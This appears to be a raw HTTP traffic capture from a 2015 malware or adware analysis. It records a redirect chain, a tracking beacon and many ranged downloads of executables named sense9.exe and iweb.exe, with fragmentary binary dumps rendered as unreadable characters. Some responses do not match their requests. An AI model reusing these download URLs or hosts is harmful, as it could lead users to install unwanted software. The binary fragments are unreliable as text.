....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /infv5/index/3428/bnd HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: dqoup4b5zs0bi.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Sat, 18 Apr 2015 07:35:24 GMT

Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 e040594239550f4f43c4765c6cbf6f5b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: svyN2gLOxLEtC-tUWh1m1rKcqPCnxa2MuIidCNzciKqcyg2hxMxwDA==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Sat, 18 Apr 2015 07:35:24 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543
c6323981d9/1.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 e040594239550f4f43c4765c6cbf6f5b.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: svyN2gLOxLEtC-tUWh1m1rKcqPCnxa2MuIidCNzciKqcyg2hxMxwDA==..

GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:14 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.53 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:32 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3499

Content-Length: 250000

Content-Range: bytes 0-249999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342532.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p..........8C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected].
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:33 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3498

Content-Length: 250000

Content-Range: bytes 750000-999999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342533.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
^...4.....z.f...U......S>A.8I.*....[...\..\F8.;*o..t.K........A.24.
...H.._..#.8....6......F.wl....... .M3..&...&...|.........;....S..,...
.q.%....&i".......v.v....;.d:f..%..8..j...v...........O..1......*\h.}.
[..f.%cH.qD.jr...^)...s.h5{..;.......Z....o....!F..~......[jh..7..URq.
...t...JS=........E....D..,...... A.V.?~.54...../.RD`...S<...G.N...
u..E..... .... p.]...\.5.......(Rq_...c..`\.C../...r.&..O.D..-%..S....
7K..6........3A...}..N..%.J...B.........B'.}5..s.oi...z....Q7.M\(...E.
_^.Pp.ua..T.BN...;. ]B....cLBjUj.T..y.....{.Vw...h.=.>}...`.5.CXIe.
...K.f.0.....~..E..<fM.fF<[email protected]..$.......:...@.<83._'.'
.Ia..hZ]..)z..m..x_.;!.V..zbwzh[..<{.....a.].....0.pQ....f..E..^2.x
~.=....2.J..e@.^...~..x.bV..,.^...D3..G.......!......W.Rt..B.).....}._
[...t..m..y~..)."..`.}.., .N....1..Y...?'.'_.N..;..WZ.]..{p.....4.'...
..w..w...q..P..%. .K..NN.#...y......o9.F......1..R..c.b....d..n-9..k..
[|.w..x..Z..-..O... ]..P0.oT........^b(...<...t.n.9.[......f.?.....
...(....a......~n.;...a......z..W...U...zu.....f.n......rG..LA.`.{...0
.7....0.Hh^.~|..m...]..k.*\....f.i:..\S.X0........n,..:..:..U.a.P..s..
...o.qj.vKW..qp\O.|dS!.<...\...D._.5......p....:?u.....".......BHM.
.....Z.E..`.....c=...PdK.D.&....!.x...*.B...[.X34..R{37A.........J....
..N.u.I........z...L...........O.....e.....&..........^.....r?.d......
......<.ce......-...T....N$,......wd].Ih.dZ......b.d>..^e1......
.%~./\e...Ch..H..G,'3....!..c!(y...H.8...$..;D.'.w...I..!{E)....`{y...
.*%....s.|..9P.....D....*K...)[email protected]...<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:33 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3026

Content-Length: 250000

Content-Range: bytes 2250000-2499999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342533.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
8!..}.v.xF..4..!.b".P%m_ =h.|.... .=..3KH4.GS.....>.lr......$......
B.3......9.g.9.;:..8.....*&...6.......As^.'..A..L.R3_......K}..Mw.....
_....[....s....s.P.j.....>..E%........D..X....g..}....>...us...U
... @ue1....sP.a.Q.QEG.....(Us..(2....#...h...NUY..Bb~..{.-!...TRB.4..
r.7u.N..!.i...O..........~....zh...I..J:..,` ...........:......S..msC 
LzY......f.1S.x}CX.<.S.o.*-.V...11}.v[....N....}.Nb......?E...q...Y
..!...r).!.F.4..-..t......u.J.D..QfA.-.X.#|:.u..1......\....]....8 2..
..n.........V.. .......h.7...:y.PD..&(.........^..L..3...~...u..a...[.
..{..;;?...<..........e.y.4.R.6~...E.Q...zS&.C...1(mw.E...j.....s7.
...OY_........'....Z....cX.e........$..R..t...\/A.@.'".%..~].\.$...Z..
b..a......7.].........@.*.J..Z|........{...4J.........U...z..Oq\....zb
...K...............8....9.....u..C?......8aS..v]N....a......n.cL......
....C...;.4.i...=_t..@,.xb..]..''INJ....=...^..YcG`....C......I<.`.
.....6.C.L(_)..jFr.XM.-.(^B..R8.`..k.;K.G.iSx...yt..}...M..J...t....{.
.....|(?....{.MR.."_....!.'..r....k.s.r=.k`....9WX....SY.d.d.p.'..#..r
......c......./.s.,..}.)..L.&0.0.<(.$1.0....WA..2.3{..&Vo....W.P...
{H..M........L.'.HI.....;s...{.... .....<p.s..s..^[email protected]..).J.....
.._(..I..?......v..~..nQ...~..1f.7.........Y9..8.(...*.Kj....[.(^).. .
}@D...r.....Q..............L.....ywg.L.0."..@:.$.......9....W......!..
w..?.6.....fsz&.Q...B..3...\....;_[..Z....d*W......>..#...J..QB..fa
...._<g.-HGn...."mi........D..7..*C...n.....Z .kp.%N.....V.G.E.. 8`
..|....^....M....~]].D...|..do.1z.1M^...w..H....ZKJ.;6.xij(.....j.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..".U.......K=.R...][email protected]...^unj......tp.
.......~z".D.3}.(-.Yij}[d...q....p...VX.Q.....4......a.....?......=.G.
..8GGZ..$PJ.k.b8o...^[..y..M.v._'^.r0.#. .......L...<.....>L..:G
.8mPVj..._?.2.>q...3I./d.O.....#.2.8T....u3\.U.n...t.q.>f...gI..
Y.[Y.<..U....3..?..L~....F=.bE*...IP.^gEm$.[hx. [email protected]...
 ..0qG..0.W...Y..t....g..djJ~......X.6F.0~..[.cs.....& ......l..N....0
W..%.\&....2..x..`s.^v...C.I1w.E#.........A..<....x.....L.........!
......`4c.s..z.#=..J.1.|q..%..t..h9k=%5....W.$,0Pv /.tj.%K..ls.9oJ!..#
...........Q...o.....).m..|..i..._B..V..k.Uu..e..$....5...q...:......8
HC.;./..H.OC31.,....y.C....3VJ...|x......6.(..........E..r..*.[...0.4\
 .e....Hpeo&.X.......o..nn./.D.|[email protected]
@ e..s.J.K.......bm.t...*.....o...j.]-U.<...#...k.....VU2..9.......
...d.X......)......n.s1.......)..SE..^o.{.....2s...y.X.....W....../W_.
.T....d.y!."._..I.J.j.....T..@@.?...?0.1a.,n..W...-...m.'....%.^.5...?
X].q.A.....%..%..[.....z....D<..,.~U.........-?;[email protected]!..I
.. `<'G.../G..xv.....Y..>=... l.d....(..fg.w...8...S%;f..tXQ.F,.
D..0....r.C....,zK.....Xx.'@"...N.F..9#j..4..g.......K.:..z{U.....0...
.KOP..s(..).>.'.wp.....`.-. .W.........K.......`H.....:.Df"!\..,|.t
.0.J.....K ...r.V.F..5...si...o.He\6.......Lek..#^w...k.u.`lC..0......
$p.YL...e......N..NW$.@n@.@|...Y.x.......fy...d.z<....C<..B.....
eHokBF.2#/...r;P.L. -..'......... .6.N....dDPU.......(i8..}u).......p.
.f\1....{........c............S.....E#.....x..3.......*......v.C$m<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:35 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3496

Content-Length: 250000

Content-Range: bytes 3250000-3499999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342535.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
^d.fZ.e....l.?.UtP^...~,........|9..I<... .....w_s......_...($..j..
.uv$d8....z*..l"....&........ze..K..f....f..._N...5.....r{..e.r.....3.
....#t../;...........?..Z..A..........-.......=n%.n$Tc...v....XJ1.....
.KY.U......L..1."..T.B.w.w.UL0.....A..".....6...]..x......0.Cr.n1.|.=.
$Zk./..=......l...W..3.ex:..gz2...&.!.P7...$(...<,..b...0.........x
.....]......M".B2...\..........z...?."..;[email protected]./.......#^.....
. `=...!.../T..8..R...............;..%........b[...&.DE(.Op...3..uJ...
.........H...h.....:.."..8....xJ...G..4...`;.m.E..=..%.I|..._.......sT
1.9.....X....f..g%.........j.....I....../S.11...6.r6.....;(.N..e.L....
.........i.!.{.y<..#'\.g..*.?....._....,..H..%.E..Q.....x.(..}.u*!}
../*.).7.z.....k.5..M...!6..b.B..}......]...E.x..,Xk...M..r..0.v.~.O
.`...z..@{[email protected]..*....n.?C......V...<Hxj.p.....g.~..
W$]....._..b........a..z..f.B..2n......."^qm3.z..:..d.....1 5.@.. ...Y
.....^R..7.'.....\ X s.M...m.h.u.e....F..)[email protected].._.Ay.....s*
..B.J.V4......7....#[email protected]#'...r...
[email protected]....}[email protected].....?|.[..2..k.m.O.g.{.k..%...uP
..7P...wdj.b..I.g..vj..0*)..:..h.s[=.....V..a..0...{....4;.....s...O.;
..\q......:... ..........'.......1.?.E...\...n.w._d../.......5....Q...
.........-....Q.'1.....W#...@:...,..PN=.d....~KA/[email protected]
v.Y....Qm...xby.j1.Y..}A......$;...DUP....jW......N.R..d.K.|?.. .'...o
......^.,x. k...0....]\[email protected]... .r....<.....@..........`......
..2[......a.)..D.......y..J.'xt%.\vC...O.uZju...3..j6q..I..1...1[.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



(i.|W>..9..]..........h..h8..%..a...8......]qF...i."..C..^.m.n~.C .
....tz.....n...3.7.....>.lj..o=U.."6.o.(.,.<.y.............Z...?
.{......L.".J......5'6.>..g..V..Q......Ehq...^..l5.....=|.e...?.T..
..%.KZy5~.....0]"....v..r..P.S.Jn.w{..r<CL]g..p.1..h`.B.I....z..R..
....[....e.......4..&4.ij...hC.....cmC..^X4w.B..(.aDe....M.t...=r....C
.V.D.K..{BS9.....`.{..U...O...cz.n;.z...[k.j..`...._7..W`ua.w....t....
G...(l....Z.i........e.tx.........3......\.2.......S.#. .I.....ms)..2.
..39[D..F. oP9 ["3/0..H.\nu.o.wlV1........l....6.d3.._M.).S.:....D.2..
..sZ.W...`;PC.?]..h...f.R.....Ea...... \..D.n.2w.. )..J;.i....*..Y...%
wG.y_RjO..ul..T8R. ]_.?r.d......E..g......?.v.."x.8Q..u..FR.v.#.&....t
.....M.h...{w.T....w..?....7.j......6.._#\...s......^....d..e.P2!.Y.a.
.F.t..5d.%..fI.{.....~..(W.Jt2.-.......F..lO.0.Q..)7...s.[.y...1N.....
b........tXvO..LY.,wu.yP...t....S.R....>.:.)q....k..5......t...<
....8...`..IO.]..g.D...I`.KRd...fHQ.....@.... .g....a.i%..... .....0u3
..B....&..wX.....N {if.3..HeI>]pd.'.r.....Y......I.w-....X.d...3)".
.....%......i...?.......j1b.y.I....R.~..d....a...W..3...P...B.....*}..
U....?....gk...GJ..............:...o.....8...:.h.$...6b.p.."........&g
t;m`..&Ln?....=....".<@.....`[1Ul:f.`A.P'R..(>...6A^1.)..$....8.
....6...@}Y.Q.....;..r.F..............j......[%s.WY.*i....a4`LM..~u..^
..d.....[...T......C......6g|..<..M5..........8. [email protected].$..
......9/...M.qF.W...RZiRv......=o....,.H...=.el..O..g....D....7..$fb.$
..._.)M.6...3Z6.E.(.......'.&......8.t..!WR<.)m......i|.%.L.Ptd<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:37 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3494

Content-Length: 250000

Content-Range: bytes 4500000-4749999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342537.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
. . {.>.....;2..%..?...<..?.!..]...M.m.L.q}.izU...%j....\B~.M.Ab
.........[..~.&s.........6."..........#[email protected].$..n.7.?..
.OR.....hSA..:.|../...8..V....RUv..19..:..../.T.~.Bs6]8.XQ...3.*u..{.&
...f......8.PL!T;R......@...';e..Z....aZ`d'".:.An?...d0.\%....GZ.Y....
o....Y.XBg.\...QQ.G./....7?..j.5...[.cN..q..#.1..u.F..=D,..q...... n..
.....R..`K. .*Y.'M...]>..=...q..).0.C......D......w........gY...0..
..Z.m.].9..W/.M.9...RZ.(.JlzH.V...S.%.~......... ..Bq..*...q4.5/I4..^.
....b..*!........n...........8.......?,..v..h,.....O.......... ....&*}
...~<'.T..@G.._B\6}..4..\.~.U"k..r..u.oPP.S..[n...ZfD......k....v.~
.....I..2K...W....A.m.Ib0.i..]q.......M.94.2...'._..S...bkL...;-.....D
0....K..T...#_...T...P2..3......*R$/......x......-Ww.....Xy..X..N.>
I-.......2X..m...t..,.....[.w.$RF58....Z.R.H(...").j..}.> .m.}\.o..
.u...>..63?<...?]_..k..l~'&M.rJ...FC..-c.}.r....3...s ...^.<"
.d[.w.../.kJL......I..t..5M.N..v.....W.3.....^. {.\.|.lJ.|7..=~..L..O.
1;.m...$.9.c.0..-..Y..h.B.o.<..*...)._P...A9..........Dk{=...n..}..
. 5.......N... G.).L5f....4{....;[email protected]..!.........K.*...j^4^.-...
..C..A;(.............3.{.feE.....NY.s..S..:.....Q.o.......k.7......i,~
..1v(.Q'.8...>.Ec.hx..6.iD;.jb.4.~..8....s-{Pb.!.`...s....1.....0.&
lt;..3t'^....E4..2,y..e...e..n.;...m..k.5..<[email protected]
.V...X&..W ......Q....Q........V.......8[.}...4n...s..?J.........<.
..!KF..\.@.=.'.a.....D.Wa...V..Z..r.2M..<.<.....2...A..G.P......
...k.,.p.7.S..Q.g :q.&2!.D.........P...}D....p.E$....2.Lq..%....!n<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:37 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3022

Content-Length: 250000

Content-Range: bytes 5500000-5749999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342537.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
..!..w.5.].8V.J.\d8~...R.<Z.yJ..[|.....@BR.....=psj....dU..pN..7.$.
r....{...X..e.mM$.x.H....:.....n........3mxd.y...j9........c....p.....
..."s.1..7R.I.z.....e.v...y....gR.).y...Uo....x2I...#[email protected]..
6.*......1...p.....\....DZ>Mkq...x.......)....9.R0 .....7..6..~....
....E..]:*.>_..If^.P........w.Ep.....S..9...b.lEn.~.....{.....}....
......FqT..y*......[.Tk.P.t..1.]un.H...cN...........Y.....!H..........
..&H....k4O.........N..v..`...T...]..........|[email protected].^d..
..%.:<.m..^#..TX..Y......AJ.lB............=...j..B..%...o$.8..].}..
Q..;._.K'..E6&....~.....J..Z..CX.-.*[email protected]. ./.6.V.6.....(.F...F
...5yf.:-e.!~....ZW.v~.....`o.Lc."..#.J.XtX84.......<F..0....=~.}..
@..f...@[email protected]=J........Z~.v.....N..{.../..p..F...k..|^.Q.G..z:. >..
..Z...(.........;j..q..........E.$N.b.....h...#..u.x....,..-.......(.-
'.......-$..S.D.%*..........I..^..$....7RtC..^lX.................=....
e..u1.j..2....O1] ....w..e.y2f.O.r^[email protected]....
.:....*;.H.N...y..x-"3..T...T..\..-..>U....[(.S......G.J."..<..g
.....hA...].G`.....u...'.d.*,{.."{)..Q ..Rmu.Y..'.l......9eG-..).L>
q....R... ...............G....(l...r .&*.&.W. O.y......s..R...$d.9....
S2:E......D...2Q..]qx(.HhB...gv..b<. w.....6...%X.`...B...-....}.Z.
..5.<.k.a..f@....,d...D..S].JQ...#..7.U_..1tx..K#.1<=.G.J.....@;
<...`......2...E7.~&....D..... ...L}...VKd3.3ZW...m~.7...h.o..G.@..
N..j...g .;.:a.(..s...!.G....*...Y..m....L...D..!..8:=b?..FT...I......
.Z.]!...%(....G.{...K.O..........lH.#...|<.z.....I~...5...;t.y.<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..1...........#...bSn.\...uF..$.L..v.0..S.p,o..j.......R9g.._...'.....
7...][email protected].?....!....2......t`.........G.E{|.......N.f%.:61.D
Co.*qOd.P;*[...h.G....\Gs.{8.9J4...|(q,r....8[.%}..v.D.1....xK........
..~W.....".... J.i...e..P...d....jV...I.2.6..;..T...\u..xy...R -....?y
.*...............?...V.j......^O..r!?.r|.*G.....!;.8.d.....6..M...TPyS
........7..H...=....:.f..$. ..O..........>...C.0..;V..=k...-\.. .oB
..h.0......u..X..kt.9.Vw...<...T..l..C.........q.S2gh..G.....lgl...
\.3.P...B'h5.-...$n......2.....x..F..[]l.Z;.......PC......[$.mU:q....H
[email protected]/&:..w~...pt.G .........E.f.O`......?I.|.1.P.{H.'R.
.....a.......^.D..di...>...[........7..{Y..k.T.a.......gGG....45..)
..B.....o......d.}}#[E.Y..r..Ci..g .O....f@...?..*|.A8M!..x.b.?.&.].^b
.5.y.T..].Q....o.......e.$....}......'9.p..... ..J....V)h.../....i..._
cX.as#....>..#_.b}.....I|..S.|j..M.`.<..%.........q...V..~....8.
..)x.v.~....}I0..HF.S*[email protected].\?.].So..H...........
>...J..j...7"d....&.e.6..O.;.XI[I..*'._>..E...q(...W..\..G;`^...
L.3c2,:[email protected].]Sl:....|....D.-DX8........O..,.%2.... t.?.Y.. 
..n....m.[O..'Q....&..........^.."...f...VW.My;9..s.,...2Fg.#../....N.
..;.c....p.....y..?R...u.R:V..H.ZR.J..r..6..q.......9........(. .I)&us
...-.d.s.A.....4.. (.4UK..x.Bu..}.[.Y?..w.S..stg...8w&......A..3B|..q.
8P.g%......,....:6#.......t.$K.95....r9....-.S.6e<.&.rR...6.....5.O
u._:[email protected].&D...q0..P......./cmC.. H..P..?.tX..|.T......_r.I
.C`.....f,...#...g.P.G.....4e.6)[email protected].=D#J......UI. .......<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:39 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3492

Content-Length: 250000

Content-Range: bytes 6250000-6499999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342539.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
...$Q}.f^.a.".d..._........s..m..B..yN...~s"...:...^..^...."..T.9.o~..
..I^.]...;~.=HE.G.2.....^{.....w~........'...<n...b...........(.,..
.N.j...ah......\]...m _.deC...r..Z.......-.U?Q..t..7J.a?S...b.....r.I3
...-.O...k..d*.....M.v0.wA1.{...P..O.E.=\(w.."`....h?.!.........~.&.I8
.b.......c4^..,..z.T..j...Mw.....n....MK.v .p.k.7?P5.....A.|.r..;W.n.g
.n.l...g..K.=.f<x{...M..-;. x...m.</}..z......].H....g.F#].G4.-{
.O....Ca...V..r....b.:.x.;...^..c.yFF...2"...A...:.d.\....uX3..2.ug/..
}.4..I=......L....v.'..0[....X....h...............3..V/.T..D.S....2|.R
.......P ..8tX....,....-.;......t.js...x=.t9.....\.....m.v.......<W
.}gd?....T).C..5 ..?..Y...<...C'.O.w.bm.z......nD...ym.V.Z.z;.|3>
;K.7.R.........o@w.:.sP.R"....fgj ..........bb.D.a..b....Y......].cx..
. ..TbY.#.2...\..B}$...".j...y..G...j=J.........7...G.......o.....$a3.
.I|#... .`.......^.J"..K&G......jz?..:'0fE..B.q_\......o.....W...)....
....&.C.<..NZ2..BE....,.....\....1...mSl....`....&..k!...H}O...G.T.
........`@F....|...........yS..R...S..... .o.O.?...<)F...0.v...i"..
%....DX..v>....x....jw.v4.........pM....^[email protected].......;.W.
..3..U....$?a=*..".....C.....1b/..r.`(.)..e..a.H../...<.CDo!>*1.
BY..wS.....Sd.|.....<k....t.q...x."d...h.7o.Q..t%...QJ..{.#>F.,.
^.>]....;.-.6bD.b.a. ..x...E.....l..g2..l..VK..kL.=`d.-..R,..oD..`.
s..=...:.. ..OI.V.E..|.q...... ag ...Kx..4~.*2P.....KV.....As.N..@....
>.[5..\..[e.X..,...A^B..ytc...E3.|....6F.a.^o...5.....{.1.....'>
....{......../.............................&x...._*;d.Q...i.....}h<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=7750000-7999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:41 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3018

Content-Length: 250000

Content-Range: bytes 8750000-8999999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342541.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
<.....N...z.*...A.LPP||..)...PU. .nWK]...R.hO.{.N.k.f.#....6$.c,...
|...{XXq..Q.........;Gd....P.'.g.o......eR......dl.....g~...-.^|.|....
.4..v..*.jzO...]X...N9. .........O......@|...Z.aT..J...:q...yL..1..,..
".Ul.?tK.;....I.^.3...P.U.......*.....!&!.)...C...,..n.....Ld...t.<
.....g6%......."..q...........~r....".I>.#2..w.p.(..K..8.f.T;F"U.]l
..n...-..............R..)....4> ..6...C..O4ju....3.........=..g.)..
.%S.M@`.m..e..z_n.?....3...Y...K..~.H. .l.Bh.p.zg$sT.'8G.*...;....o ^.
.<.[.)I.W..p...q...(...Y.-.....w|.J.Z...M(.r...?(.qq>...M.C.A.B.
.^.H..]..dI.9T.ea..5R.-B.....c.... J.........!..P.<*.! .-.y./.....r
t.._@.`...|j.E |.Cyi..B.Da...Y..H....c.e..>......JfT ........S...aX
.).H.9..zX.......1.......>.k{.\.g..s*..4...fL......aTi..=.......3. 
........N..X......=......7&.MV$E.K.E............d.w....*D...0."..WrC/U
.X%...G.E.ZL.z[.yxf.[.....tTD.>.q...c.Q.i..59 .O.P8.t.X.d\gB.a..5{.
..YTs.....sA%_`B..}..(...0........c.0..W......'<.z..$M...p...B....|
.....jF.gS......H`..{[email protected]. 3CW&.B.....>..7 .3i.
.&'........7.....E...I.F....s..M....P.W. Xr....N....C.>...j..Y....:
y.M......$.....Q......&?.%../... .....U.)..=`B/.@. {....'A.X9..C...9r.
...A.6. ....:.....i..&GK.y.._b.......4<..p.4.C6P\..#../.$.{.#1b..S.
........Z...4....\.`3"u...`...z...P....._...P.....:M.R*H...\I...L1..{N
A=`...,.&...`...n7f`7.. ...5.o....Xp..n..<...d....EdJ..YMw.6Y.e...@
..5$.I...".R.{....G....x.x\..I.CDBF.A8..=G^.#..;...?.\....[`c`_...Co..
.:././P.q2f.2b../......%J $..V..h..Oj..../.S......m.!.\ n(...]*...<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8250000-8499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8750000-8999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:42 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3017

Content-Length: 250000

Content-Range: bytes 9750000-9999999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342542.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
